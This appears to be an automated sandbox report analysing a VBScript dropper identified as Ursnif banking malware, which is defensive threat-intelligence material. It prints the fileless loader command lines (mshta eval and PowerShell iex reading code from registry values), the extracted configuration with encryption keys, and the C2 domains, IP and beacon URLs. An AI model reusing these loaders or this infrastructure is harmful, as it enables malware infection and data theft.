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Windows Analysis Report sample.vbs

Overview

General Information

Sample Name:	sample.vbs
Analysis ID:	481106
MD5:	1dd89d4f6390f3dc46486ae6ee57bbf1
SHA1:	1be7d12e55659bdd87c34eb24d7d4adf0b68a2c5
SHA256:	801e42662653db4f680b49833f5ee0a48124aa814dd4178be1f948f4a8a68b07
Tags:	vbs
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Sigma detected: Powershell run code from registry

Benign windows process drops PE files

VBScript performs obfuscated calls to suspicious functions

Yara detected Ursnif

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Sigma detected: Encoded IEX

Hooks registry keys query functions (used to hide registry keys)

Compiles code for process injection (via .Net compiler)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Creates processes via WMI

Suspicious powershell command line found

Modifies the prolog of user mode functions (user mode inline hooks)

Sigma detected: MSHTA Spawning Windows Shell

Deletes itself after installation

Sigma detected: Mshta Spawning Windows Shell

Sigma detected: Suspicious Csc.exe Source File Folder

Modifies the export address table of user mode modules (user mode EAT hooks)

Writes registry values via WMI

Modifies the import address table of user mode modules (user mode IAT hooks)

Queries the volume information (name, serial number etc) of a device

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Queries the installation date of Windows

Internet Provider seen in connection with other malware

Detected potential crypto function

Stores large binary data to the registry

Contains functionality to query CPU information (cpuid)

Contains functionality to launch a process as a different user

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

AV process strings found (often used to terminate AV products)

PE file does not import any functions

Java / VBScript file with very long strings (likely obfuscated code)

Searches for the Microsoft Outlook file path

Drops PE files

Uses a known web browser user agent for HTTP communication

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Launches processes in debugging mode, may be used to hinder debugging

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Compiles C# or VB.Net code

Dropped file seen in connection with other malware

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3520 cmdline: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\sample.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

WmiPrvSE.exe (PID: 2152 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: A782A4ED336750D10B3CAF776AFE8E70)

rundll32.exe (PID: 3540 cmdline: rundll32 C:\Users\user\AppData\Local\Temp\fum.cpp,DllRegisterServer MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 6704 cmdline: rundll32 C:\Users\user\AppData\Local\Temp\fum.cpp,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

control.exe (PID: 5764 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)

WmiPrvSE.exe (PID: 5388 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 7AB59579BA91115872D6E51C54B9133B)

WmiPrvSE.exe (PID: 2272 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: A782A4ED336750D10B3CAF776AFE8E70)

mshta.exe (PID: 3860 cmdline: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Dhqv='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dhqv).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>' MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)

powershell.exe (PID: 5104 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)) MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 3284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

csc.exe (PID: 4936 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.cmdline' MD5: B46100977911A0C9FB1C3E5F16A5017D)

cvtres.exe (PID: 5424 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESB252.tmp' 'c:\Users\user\AppData\Local\Temp\kuljoghz\CSCFD41DB177D83417DAD6FB740EC17B379.TMP' MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)

csc.exe (PID: 2424 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.cmdline' MD5: B46100977911A0C9FB1C3E5F16A5017D)

cvtres.exe (PID: 7052 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESC397.tmp' 'c:\Users\user\AppData\Local\Temp\cshxvr3e\CSC395E5146EDFE427593BFE3FCA45BE18C.TMP' MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)

cleanup

Malware Configuration

Threatname: Ursnif

{"lang_id": "RU, CN", "RSA Public Key": "IAodzSkRRXZVbpA8JuABjuUBQvpHiTpdg9dOAQp7bBw4t0xkkPvGywDaeciS3HngU/RkNYsOricM2S0LVvdwWlSJ6FdKpFt6YFFWOrsBfCiNFCtU5v/Ohii1LI6H4/OB/132O4comC2he+ED1d47BeoZGdamjIEdPypU4ReJbSLrCxcRMW03mJzNzM22WWjes9V+fVfZ8lvnVONnlm+2SejHIEhpJMv4VzqUiuRgWDBCh1ovNzO3eDJUiuSU1jFcdmg2ywuZOyDLXh6uuRZonMVTxMoziZw6y80jGvuwDFFQy5TMx6xbKoXdqNSwE60TugFay/vbpOuG0fp4zORCVEe39fTGD2o0Gttx0E5BI4w=", "c2_domain": ["atl.bigbigpoppa.com", "pop.urlovedstuff.com"], "botnet": "2500", "server": "580", "serpent_key": "Do9L8DmcVMtyFi6j", "sleep_time": "5", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "1"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000012.00000003.794954307.0000000005378000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000012.00000002.871947216.0000000004FFF000.00000004.00000040.sdmp	JoeSecurity_Ursnif_2	Yara detected Ursnif	Joe Security
00000012.00000003.794836470.0000000005378000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000012.00000003.794735521.0000000005378000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000012.00000003.797221471.0000000005378000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000012.00000003.794770084.0000000005378000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000012.00000003.794874719.0000000005378000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000012.00000003.794800647.0000000005378000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000012.00000003.859811207.0000000005BE8000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000012.00000003.799908702.000000000527A000.00000004.00000040.sdmp	JoeSecurity_Ursnif_2	Yara detected Ursnif	Joe Security
00000012.00000003.799937952.00000000052F9000.00000004.00000040.sdmp	JoeSecurity_Ursnif_2	Yara detected Ursnif	Joe Security
00000012.00000003.794900142.0000000005378000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000012.00000003.794931081.0000000005378000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000012.00000003.801557253.000000000517C000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000016.00000002.890326064.00000200BE266000.00000004.00000001.sdmp	JoeSecurity_Ursnif_2	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 6704	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
18.3.rundll32.exe.527a4a0.1.unpack	JoeSecurity_Ursnif_2	Yara detected Ursnif	Joe Security
18.3.rundll32.exe.527a4a0.1.raw.unpack	JoeSecurity_Ursnif_2	Yara detected Ursnif	Joe Security
18.3.rundll32.exe.5328d48.2.raw.unpack	JoeSecurity_Ursnif_2	Yara detected Ursnif	Joe Security
18.3.rundll32.exe.52f94a0.3.raw.unpack	JoeSecurity_Ursnif_2	Yara detected Ursnif	Joe Security

Sigma Overview

System Summary:

Sigma detected: Encoded IEX

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Dhqv='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dhqv).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 3860, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), ProcessId: 5104

Sigma detected: MSHTA Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Dhqv='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dhqv).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 3860, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), ProcessId: 5104

Sigma detected: Mshta Spawning Windows Shell

Show sources

Source: Process started

Sigma detected: Suspicious Csc.exe Source File Folder

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.cmdline', CommandLine: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.cmdline', CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5104, ProcessCommandLine: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.cmdline', ProcessId: 4936

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Dhqv='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dhqv).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 3860, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), ProcessId: 5104

Sigma detected: T1086 PowerShell Execution

Show sources

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132757712350851215.5104.DefaultAppDomain.powershell

Data Obfuscation:

Sigma detected: Powershell run code from registry

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Dhqv='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dhqv).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 3860, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool)), ProcessId: 5104

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000012.00000003.755921050.0000000000AE0000.00000040.00000001.sdmp

Malware Configuration Extractor: Ursnif {"lang_id": "RU, CN", "RSA Public Key": "IAodzSkRRXZVbpA8JuABjuUBQvpHiTpdg9dOAQp7bBw4t0xkkPvGywDaeciS3HngU/RkNYsOricM2S0LVvdwWlSJ6FdKpFt6YFFWOrsBfCiNFCtU5v/Ohii1LI6H4/OB/132O4comC2he+ED1d47BeoZGdamjIEdPypU4ReJbSLrCxcRMW03mJzNzM22WWjes9V+fVfZ8lvnVONnlm+2SejHIEhpJMv4VzqUiuRgWDBCh1ovNzO3eDJUiuSU1jFcdmg2ywuZOyDLXh6uuRZonMVTxMoziZw6y80jGvuwDFFQy5TMx6xbKoXdqNSwE60TugFay/vbpOuG0fp4zORCVEe39fTGD2o0Gttx0E5BI4w=", "c2_domain": ["atl.bigbigpoppa.com", "pop.urlovedstuff.com"], "botnet": "2500", "server": "580", "serpent_key": "Do9L8DmcVMtyFi6j", "sleep_time": "5", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "1"}

Antivirus detection for URL or domain

Show sources

Source: http://atl.bigbigpoppa.com/HIIzq4V5S2buP7HU_2F/DcYCSfdPvqaYNdJRMij7gI/5MXe0SZWrBJ2g/js7YCX8y/fDLeVNW	Avira URL Cloud: Label: malware
Source: http://atl.bigbigpoppa.com/	Avira URL Cloud: Label: malware
Source: http://atl.bigbigpoppa.com/LZpNlL8ctf0/9G8k9mmuTSS5tz/8E5AsgXcbJMRL1oRInDsm/26uAVe_2F5ldrkH0/uiu44eu	Avira URL Cloud: Label: malware
Source: http://atl.bigbigpoppa.com/HIIzq4V5S2buP7HU_2F/DcYCSfdPvqaYNdJRMij7gI/5MXe0SZWrBJ2g/js7YCX8y/fDLeVNWGS38iu6HBSu0eZQC/bmSTwgO68w/mDzLSD0yv5NsCWUYa/KrMPefIXTo7Y/kYocGyKbfHI/qpROOMC7W3BpuS/FiHxn9Vj_2BE_2BRO1MPS/HSvVFR_2FvFubdta/FMJR0bw3OFOckhz/gihVzVqSiIHGsYLcl_/2FiUzDnO5/Znp2qHqDPmJt_2FKhKU2/B1dWx_2FKsmf5DpcS8Z/eu7lOAGu9ogHBSfDIGfPdL/lCnFrX6yLs9rJ/djJKkMKB/PGYeMNf7nd3nwYWaABiF0QM/d	Avira URL Cloud: Label: malware
Source: http://atl.bigbigpoppa.com/LZpNlL8ctf0/9G8k9mmuTSS5tz/8E5AsgXcbJMRL1oRInDsm/26uAVe_2F5ldrkH0/uiu44euzNQd9TRf/1Zb3P4q5F0mc0qdltC/bLlV5uCsx/obqe2ve9g7Th5DnAa17u/ifRiDnyBBWyxfspwjbc/4e64zsAjWvHHh07WM2IgYy/t1JnmxqkM0edm/B_2Fp0Xl/aO6EV9JJQOgg5QsFoCbzQfO/_2BOZLcUIR/ooMrpCxMndVWwPntp/mvRIBZb_2B_2/Beg4_2F_2Fr/I_2FcfrvgLZ_2F/J3NCkzqZf5_2Fr1C_2BZp/h9SFOIo1qkmT8Tal/3qdDBO5XKEdw_2F/4xqo8eXRx/pJscFz7Rq/r	Avira URL Cloud: Label: malware
Source: http://atl.bigbigpoppa.com/yycLCxNRZEFU2J4UrQOl/FX7uF3nnSEu1rXBTN4d/LylqoAvPuubQ7SHiRZfBKF/4dapCnHjf6OGO/yl6rivKE/fgvQJKMe8TaTP5ycHGNAJUS/0YTRa2nWMo/en2LMiL2tQIZKUpol/smZ_2B4BmeyI/57ObWaf9NZW/uHAXXMRRQnyL7K/pZ21NZyhAYoU6jMX_2FXx/_2F1viwpW6B_2BQx/yytF1Qgt5sD6QuY/yCiBnG89B2zLl6ouYK/ovFfokaNC/WnbbXZP7gD7mtpGqOSST/2_2Fq_2BjMeuOfq6Yo5/TugSOTNVmBx8AK0VzEQO9D/fxXdG0idPk4t/207vRTOEh/oW	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Show sources

Source: atl.bigbigpoppa.com

Virustotal: Detection: 8%

Perma Link

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_00F23276 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,

Source:	Binary string: :C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.pdb source: powershell.exe, 00000016.00000002.885375764.00000200B1621000.00000004.00000001.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.pdbXP=a source: powershell.exe, 00000016.00000002.885459267.00000200B1696000.00000004.00000001.sdmp
Source:	Binary string: c:\Led-Flower\Spell\cotton_point\please.pdb source: wscript.exe, 00000000.00000003.540443568.000001C497429000.00000004.00000001.sdmp, fum.cpp.0.dr
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\cshxvr3e\cshxvr3e.pdb source: powershell.exe, 00000016.00000002.885375764.00000200B1621000.00000004.00000001.sdmp
Source:	Binary string: :C:\Users\user\AppData\Local\Temp\kuljoghz\kuljoghz.pdbXP=a source: powershell.exe, 00000016.00000002.885375764.00000200B1621000.00000004.00000001.sdmp
Source:	Binary string: ntdll.pdb source: rundll32.exe, 00000012.00000003.867779108.0000000005C00000.00000004.00000001.sdmp
Source:	Binary string: ntdll.pdbUGP source: rundll32.exe, 00000012.00000003.867779108.0000000005C00000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05741577 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_057314A0 wcscpy,lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 18_2_05746E4E lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError,

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 18_2_05751802 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree,

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.6:49818 -> 185.251.90.253:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49818 -> 185.251.90.253:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.6:49819 -> 185.251.90.253:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49819 -> 185.251.90.253:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.6:49820 -> 185.251.90.253:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49820 -> 185.251.90.253:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.6:49821 -> 185.251.90.253:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.6:49821 -> 185.251.90.253:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: atl.bigbigpoppa.com
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.251.90.253 80

Source: Joe Sandbox View

ASN Name: SPRINTHOSTRU SPRINTHOSTRU

Source: Joe Sandbox View

IP Address: 185.251.90.253 185.251.90.253

Source: global traffic	HTTP traffic detected: GET /LZpNlL8ctf0/9G8k9mmuTSS5tz/8E5AsgXcbJMRL1oRInDsm/26uAVe_2F5ldrkH0/uiu44euzNQd9TRf/1Zb3P4q5F0mc0qdltC/bLlV5uCsx/obqe2ve9g7Th5DnAa17u/ifRiDnyBBWyxfspwjbc/4e64zsAjWvHHh07WM2IgYy/t1JnmxqkM0edm/B_2Fp0Xl/aO6EV9JJQOgg5QsFoCbzQfO/_2BOZLcUIR/ooMrpCxMndVWwPntp/mvRIBZb_2B_2/Beg4_2F_2Fr/I_2FcfrvgLZ_2F/J3NCkzqZf5_2Fr1C_2BZp/h9SFOIo1qkmT8Tal/3qdDBO5XKEdw_2F/4xqo8eXRx/pJscFz7Rq/r HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:90.0) Gecko/20100101 Firefox/90.0Host: atl.bigbigpoppa.com
Source: global traffic	HTTP traffic detected: GET /yycLCxNRZEFU2J4UrQOl/FX7uF3nnSEu1rXBTN4d/LylqoAvPuubQ7SHiRZfBKF/4dapCnHjf6OGO/yl6rivKE/fgvQJKMe8TaTP5ycHGNAJUS/0YTRa2nWMo/en2LMiL2tQIZKUpol/smZ_2B4BmeyI/57ObWaf9NZW/uHAXXMRRQnyL7K/pZ21NZyhAYoU6jMX_2FXx/_2F1viwpW6B_2BQx/yytF1Qgt5sD6QuY/yCiBnG89B2zLl6ouYK/ovFfokaNC/WnbbXZP7gD7mtpGqOSST/2_2Fq_2BjMeuOfq6Yo5/TugSOTNVmBx8AK0VzEQO9D/fxXdG0idPk4t/207vRTOEh/oW HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:90.0) Gecko/20100101 Firefox/90.0Host: atl.bigbigpoppa.com
Source: global traffic	HTTP traffic detected: GET /HIIzq4V5S2buP7HU_2F/DcYCSfdPvqaYNdJRMij7gI/5MXe0SZWrBJ2g/js7YCX8y/fDLeVNWGS38iu6HBSu0eZQC/bmSTwgO68w/mDzLSD0yv5NsCWUYa/KrMPefIXTo7Y/kYocGyKbfHI/qpROOMC7W3BpuS/FiHxn9Vj_2BE_2BRO1MPS/HSvVFR_2FvFubdta/FMJR0bw3OFOckhz/gihVzVqSiIHGsYLcl_/2FiUzDnO5/Znp2qHqDPmJt_2FKhKU2/B1dWx_2FKsmf5DpcS8Z/eu7lOAGu9ogHBSfDIGfPdL/lCnFrX6yLs9rJ/djJKkMKB/PGYeMNf7nd3nwYWaABiF0QM/d HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:90.0) Gecko/20100101 Firefox/90.0Host: atl.bigbigpoppa.com
Source: global traffic	HTTP traffic detected: GET /M0s2qYX0svCgNwwi/PPI7Xc5SLSkLQIY/5lrOW2oNgPCEjObB3W/rK9MpeZNZ/UBjNTHqn019AlZCIEx5P/tkwag9cTBuiHiomNMOd/c4Fs5ApV0T_2BnjVwW3gyf/bJPiicUJ8f_2F/p_2BzDHN/AttyzxcYoU5_2FqrCObbGoi/jSm_2BVGxu/KGJY3tUfrdwytDYZ_/2BjCzYCnXysU/C2JbU3dlXVl/5uJ7MQlXxw8eLV/q0zaTcL3CTeSA980379DA/dHPHAS9NwOC9V6VK/lP_2FDVrlGe4ayd/LAmEzNRn3GukTSqHPk/HGsc32BVj/4Gvn4Q9G8MH6Q5yTHXJc/ulutZq7s HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0Host: art.microsoftsofymicrosoftsoft.at
